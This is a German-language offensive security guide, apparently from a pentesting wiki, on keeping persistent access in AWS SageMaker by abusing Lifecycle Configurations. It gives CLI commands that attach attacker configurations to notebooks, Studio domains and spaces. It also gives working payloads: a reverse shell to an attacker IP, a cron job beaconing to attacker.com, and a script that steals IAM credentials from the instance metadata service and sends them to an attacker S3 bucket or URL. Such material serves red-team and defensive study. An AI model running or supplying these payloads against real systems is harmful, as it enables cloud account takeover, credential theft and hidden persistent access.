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Aws Sagemaker Persistence

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Übersicht der Persistenztechniken

Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist.

Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind.

Erforderliche Berechtigungen

• Notebook-Instanzen:

sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance

• Studio-Anwendungen:

sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain

Lebenszykluskonfiguration für Notebook-Instanzen festlegen

Beispiel AWS CLI-Befehle:

# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc

Lebenszykluskonfiguration in SageMaker Studio festlegen

Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.

Studio-Domain-Ebene (Alle Benutzer)

# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Studio Space Level (Einzel- oder Gemeinschaftsräume)

# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'

Arten von Studio-Anwendungslebenszykluskonfigurationen

Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden:

• JupyterServer: Führt Skripte während des Starts des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs.
• KernelGateway: Wird während des Starts der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff.
• CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden.

Beispielbefehl für jeden Typ:

JupyterServer

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)

KernelGateway

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)

CodeEditor

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)

Kritische Informationen:

• Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
• Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene machbarer sind als auf Domain-Ebene.
• Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.

Reverse Shell über Lifecycle-Konfiguration

SageMaker Lifecycle-Konfigurationen (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten.

Payload-Beispiel:

#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &

Cron Job Persistence über Lifecycle-Konfiguration

Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht.

Payload-Beispiel:

#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -

Credential Exfiltration via IMDS (v1 & v2)

Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und diese an einen von einem Angreifer kontrollierten Ort zu exfiltrieren.

Payload Example:

#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload

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